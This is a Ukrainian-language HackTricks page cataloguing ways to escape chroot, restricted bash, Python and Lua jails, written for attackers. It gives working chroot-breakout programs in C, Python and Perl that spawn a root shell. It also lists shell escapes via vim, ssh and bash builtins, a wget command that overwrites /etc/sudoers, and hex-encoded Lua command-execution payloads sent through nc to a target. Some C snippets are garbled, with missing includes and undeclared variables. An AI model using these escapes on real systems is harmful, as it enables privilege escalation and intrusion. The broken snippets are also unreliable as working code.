Escaping from Jails

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

GTFOBins

Шукайте на https://gtfobins.github.io/ якщо ви можете виконати будь-який виконуваний файл з властивістю "Shell"

Втечі з Chroot

З вікіпедії: Механізм chroot не призначений для захисту від умисного втручання привілейованими (root) користувачами. На більшості систем контексти chroot не стекаються належним чином, і програми, які працюють в chroot з достатніми привілеями, можуть виконати другий chroot, щоб вийти. Зазвичай це означає, що для втечі вам потрібно бути root всередині chroot.

Інструмент chw00t був створений для зловживання наступними сценаріями та втечі з chroot.

Root + CWD

Якщо ви root всередині chroot, ви можете втекти, створивши інший chroot. Це тому, що 2 chroot не можуть існувати одночасно (в Linux), тому якщо ви створите папку, а потім створите новий chroot в цій новій папці, бувши поза ним, ви тепер будете поза новим chroot і, отже, ви будете в ФС.

Це відбувається тому, що зазвичай chroot НЕ переміщує вашу робочу директорію до вказаної, тому ви можете створити chroot, але бути поза ним.

Зазвичай ви не знайдете бінарний файл chroot всередині в'язниці chroot, але ви можете скомпілювати, завантажити та виконати бінарний файл:

C: break_chroot.c

```c #include #include #include

//gcc break_chroot.c -o break_chroot

int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }

</details>

<details>

<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Перл

```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); ```

Root + Збережений fd

Це схоже на попередній випадок, але в цьому випадку зловмисник зберігає файловий дескриптор до поточного каталогу, а потім створює chroot в новій папці. Нарешті, оскільки він має доступ до цього FD поза chroot, він отримує до нього доступ і вибирається.

C: break_chroot.c

```c #include #include #include

//gcc break_chroot.c -o break_chroot

int main(void) { mkdir("tmpdir", 0755); dir_fd = open(".", O_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir_fd); close(dir_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }

</details>

### Root + Fork + UDS (Unix Domain Sockets)

<div data-gb-custom-block data-tag="hint" data-style='warning'>

FD можна передавати через Unix Domain Sockets, тому:

* Створіть дочірній процес (fork)
* Створіть UDS, щоб батько і дитина могли спілкуватися
* Запустіть chroot у дочірньому процесі в іншій папці
* У батьківському процесі створіть FD папки, яка знаходиться поза новим chroot дочірнього процесу
* Передайте цей FD дочірньому процесу, використовуючи UDS
* Дочірній процес змінює поточну директорію на цей FD, і через те, що вона знаходиться поза його chroot, він вибереться з в'язниці

</div>

### &#x20;Root + Mount

<div data-gb-custom-block data-tag="hint" data-style='warning'>

* Монтування кореневого пристрою (/) в каталог всередині chroot
* Chroot в цей каталог

Це можливо в Linux

</div>

### Root + /proc

<div data-gb-custom-block data-tag="hint" data-style='warning'>

* Монтування procfs в каталог всередині chroot (якщо ще не)
* Шукайте pid, у якого інший корінь/поточна директорія, наприклад: /proc/1/root
* Chroot в цей запис

</div>

### Root(?) + Fork

<div data-gb-custom-block data-tag="hint" data-style='warning'>

* Створіть Fork (дочірній процес) і chroot в іншу папку глибше в файловій системі та CD на неї
* З батьківського процесу перемістіть папку, де знаходиться дочірній процес, в папку перед chroot дітей
* Цей дочірній процес виявить себе поза chroot

</div>

### ptrace

<div data-gb-custom-block data-tag="hint" data-style='warning'>

* Колись користувачі могли налагоджувати власні процеси з процесу самого себе... але це більше не можливо за замовчуванням
* У будь-якому випадку, якщо це можливо, ви можете використовувати ptrace в процесі та виконати shellcode всередині нього ([див. цей приклад](linux-capabilities.md#cap\_sys\_ptrace)).

</div>

## Bash Jails

### Enumeration

Отримати інформацію про в'язницю:
```bash
echo $SHELL
echo $PATH
env
export
pwd

Зміна PATH

Перевірте, чи можете ви змінити змінну середовища PATH

echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory

Використання vim

:set shell=/bin/sh
:shell

Створення скрипту

Перевірте, чи можете ви створити виконуваний файл з вмістом /bin/bash

red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path

Отримання bash з SSH

Якщо ви отримуєте доступ через ssh, ви можете скористатися цим трюком для виконання оболонки bash:

ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "

Оголошення

declare -n PATH; export PATH=/bin;bash -i

BASH_CMDS[shell]=/bin/bash;shell -i

Wget

Ви можете перезаписати, наприклад, файл sudoers

wget http://127.0.0.1:8080/sudoers -O /etc/sudoers

Інші трюки

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/ https://pen-testing.sans.org/blog/2012/0b6/06/escaping-restricted-linux-shells https://gtfobins.github.io Також може бути цікавою сторінка:

Python Jails

Трюки щодо виходу з Python-в'язниць на наступній сторінці:

Lua Jails

На цій сторінці ви можете знайти глобальні функції, до яких у вас є доступ всередині Lua: https://www.gammon.com.au/scripts/doc.php?general=lua_base

Оцінка з виконанням команд:

load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()

Деякі трюки для виклику функцій бібліотеки без використання крапок:

print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))

Перерахуйте функції бібліотеки:

for k,v in pairs(string) do print(k,v) end

Зверніть увагу, що кожного разу, коли ви виконуєте попередню однорядкову команду в різному середовищі lua, порядок функцій змінюється. Тому, якщо вам потрібно виконати певну функцію, ви можете виконати атаку методом брут-форс, завантажуючи різні середовища lua та викликаючи першу функцію бібліотеки le:

#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end

#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done

Отримати інтерактивну lua оболонку: Якщо ви знаходитесь всередині обмеженої lua оболонки, ви можете отримати нову lua оболонку (і, сподіваємося, необмежену), викликавши:

debug.debug()

Посилання

Last updated